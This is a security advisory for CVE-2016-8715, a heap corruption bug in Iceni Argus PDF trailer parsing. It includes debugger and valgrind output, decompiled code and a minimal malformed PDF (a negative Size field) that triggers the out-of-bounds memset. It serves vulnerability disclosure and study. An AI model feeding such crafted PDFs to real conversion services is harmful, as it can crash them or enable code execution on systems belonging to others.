CVE-2016-8715
An exploitable heap corruption vulnerability exists in the loadTrailer functionality of Iceni Argus version 6.6.05. A specially crafted PDF file can cause a heap corruption resulting in arbitrary code execution. An attacker can send/provide a malicious PDF file to trigger this vulnerability.
Iceni Argus Version 6.6.05 (Sep 22 2016) NK Linux x64
http://www.iceni.com/legacy.htm
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert PDF files to (X)HTML form. This product is mainly used by MarkLogic for PDF document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an heap corruption and ultimately to remote code execution.
Let's investigate this vulnerability. After executing the PDF to HTML converter with a malformed pdf file as an input we can easily observe in the output of valgrind that an out of bounds write has occurred:
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595== Access not within mapped region at address 0x4AB3000
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
we see that memset in loadTrailer
function causes an overflow in tje buffer allocated in ipDocCreate
. We will now analyze the loadTrailer
function and try to figure out
where the memset size
parameter is coming from and in which conditions it will cause overflows.
A pseudo code fragment of loadTrailer
looks like this:
Line 1 int __usercall loadTrailer@<eax>(_DWORD *a1@<eax>, int *a2@<edx>, int a3@<ecx>)
Line 2 {
Line 3
Line 4 (...)
Line 5 v17 = ipDictFindType(v16, "Root", 10);
Line 6 v142 = 0;
Line 7 if ( v17 )
Line 8 v142 = *(v17 + 1);
Line 9 v18 = ipDictFindType(v138, "Size", 5);
Line 10 if ( !v18 )
Line 11 {
Line 12 if ( icnErrorGetCode(v20, v19) )
Line 13 goto LABEL_27;
Line 14 v143 = 0;
Line 15 v144 = 0;
Line 16 v165 = 0;
Line 17 goto LABEL_54;
Line 18 }
Line 19 v21 = *(v18 + 1);
Line 20 (...)
Line 21 v166 = 2 * v21;
Line 22 if ( (2 * v21) < 500 )
Line 23 LABEL_54:
Line 24 v166 = 500;
Line 25 (...)
Line 26 v81 = icnChainAlloc(v135->pdword234, 24 * v166);
Line 27 if ( !v81 )
Line 28 goto LABEL_27;
Line 29 memset(v81, 0, 24 * v166);
Line 30
In the above listing we see that the memset size
parameter strongly depends on the Size
field value at Line 9,
which comes directly from a file. This value takes a part in couple arithmetic operations: at lines 21 and 29
and the result of that is used as a parameter to memset.
At line 26 we see potential (re)allocation for the same value 24*v166
as used later for memset but that doesn’t seem to happen and the code ends up overflowing a buffer allocated in ipDocCreate
.
Let’s take a look at icnChainAlloc
:
Line 1 char *__cdecl icnChainAlloc(void *bufferStruct, int allocSize)
Line 2 {
Line 3 signed int v8; // edi@9
Line 4 (...)
Line 5 v8 = (allocSize + 3) & 0xFFFFFFFC;
Line 6 while ( 1 )
Line 7 {
Line 8 if ( v8 <= v7->chunkSize )
Line 9 goto LABEL_17;
Line 10 if ( !v7->nextChunk )
Line 11 break;
Line 12 v7 = v7->nextChunk;
Line 13 }
Line 14 v9 = (allocSize + 3) & 0xFFFFFFFC;
Line 15 if ( v8 < v7->dwordC )
Line 16 v9 = v7->dwordC;
Line 17 v10 = icnChainCreate(v9);
Line 18 if ( v10 )
Line 19 {
Line 20 v7->nextChunk = v10;
Line 21 v7 = v10;
Line 22 *bufferStruct = v10;
Line 23 LABEL_17:
Line 24 v11 = v7->pvoid4;
Line 25 v7->chunkSize -= v8;
Line 26 v7->pvoid4 = &v11[v8];
Line 27 *bufferStruct = v7;
Line 28 return v11;
Line 29 }
Line 30 return 0;
At line 17, we see that a new allocation can occur for specified value allocSize
but before this line is reached a couple of checks need to be passed.
Inside the while loop starting at line 6 we see a check (line 8) where allocSize
is compared with the available chunks size (the application uses a custom allocator for objects), but the comparison is made
for a signed value (see the definition of the v8
var at line 3).
If the value of allocSize
is bigger than INT_MAX (generally, a negative value), the check at line 8 will be true and the allocation for new space will not happen. The existing chunk of allocated memory will be returned and used later in the memset.
An example of a PDF which leads to overflow situation looks like this :
%PDF-1
1 0 obj
<</Kids[<</Parent 1 0 R>>]>>
trailer
<</Size -1/Root<</Pages 1 0 R>>>>
The value of the Size
field is set to -1 what cause that we land in icnChainAlloc
with the following parameters.
Breakpoint 1, 0x08160dc0 in loadTrailer ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x9964288 (0x09964288)
EBX: 0x8fbc6e8 --> 0x8fbbe90 --> 0x1
ECX: 0xf7a09008 --> 0x0
EDX: 0x0
ESI: 0xf7a09244 --> 0x1
EDI: 0x9964368 --> 0x0
EBP: 0xf7a09008 --> 0x0
ESP: 0xfffc6bf0 --> 0x9964288 (0x09964288)
EIP: 0x8161808 (call 0x80679f0 <icnChainAlloc>)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x81617fb: mov ecx,DWORD PTR [esp+0x38]
0x81617ff: mov eax,DWORD PTR [ecx+0x234]
0x8161805: mov DWORD PTR [esp],eax
=> 0x8161808: call 0x80679f0 <icnChainAlloc>
0x816180d: mov ecx,DWORD PTR [esp+0x28]
0x8161811: mov edx,DWORD PTR [esp+0x30]
0x8161815: mov DWORD PTR [edi+0x2c],eax
0x8161818: mov eax,DWORD PTR [esp+0x44]
Guessed arguments:
arg[0]: 0x9964288 (0x09964288)
arg[1]: 0xffffffd0
[------------------------------------stack-------------------------------------]
0000| 0xfffc6bf0 --> 0x9964288 (0x09964288)
0004| 0xfffc6bf4 --> 0xffffffd0
0008| 0xfffc6bf8 --> 0x5
0012| 0xfffc6bfc --> 0x0
0016| 0xfffc6c00 --> 0xfffc6cb4 --> 0xf7d678a4 --> 0x56ed
0020| 0xfffc6c04 --> 0xfffc6c28 --> 0xf7a09008 --> 0x0
0024| 0xfffc6c08 --> 0xfffc6c20 --> 0x0
0028| 0xfffc6c0c --> 0x804baea ("strtod")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Of course 0xffffffd0
passes all mentioned constraints leading to situation where proper space is not allocated.
Because the value passed to icnChainAlloc
just needs to be a negative value and we have direct influence on the Size
field,
we can easily calculate entire range of values which will cause that situation.
(0x80000000 / 2 ) / 24 = 0x2aaaaaa 0x2aaaaaa + 1 = 0x2aaaaab ( 44739243 )
So all values from 0x2aaaaab to 0xffffffff used as a value in Size
field will lead to an overflow.
Parsing macros...
Macro synth-bookmarks='true'
Macro image-output='true'
Macro text-output='true'
Macro zones='false'
Macro ignore-text='true'
Macro remove-overprint='false'
Macro illustrations='true'
Macro line-breaks='true'
Macro image-quality='75'
Macro page-start=''
Macro page-end=''
Macro document-start=''
Macro document-end=''
features='11140221'
Processing...
==59595== Invalid write of size 4
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd
==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
==59595==
==59595==
==59595== Process terminating with default action of signal 11 (SIGSEGV)
==59595== Access not within mapped region at address 0x4AB3000
==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert)
==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert)
2016-10-10 - Vendor Disclosure
2017-02-27 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.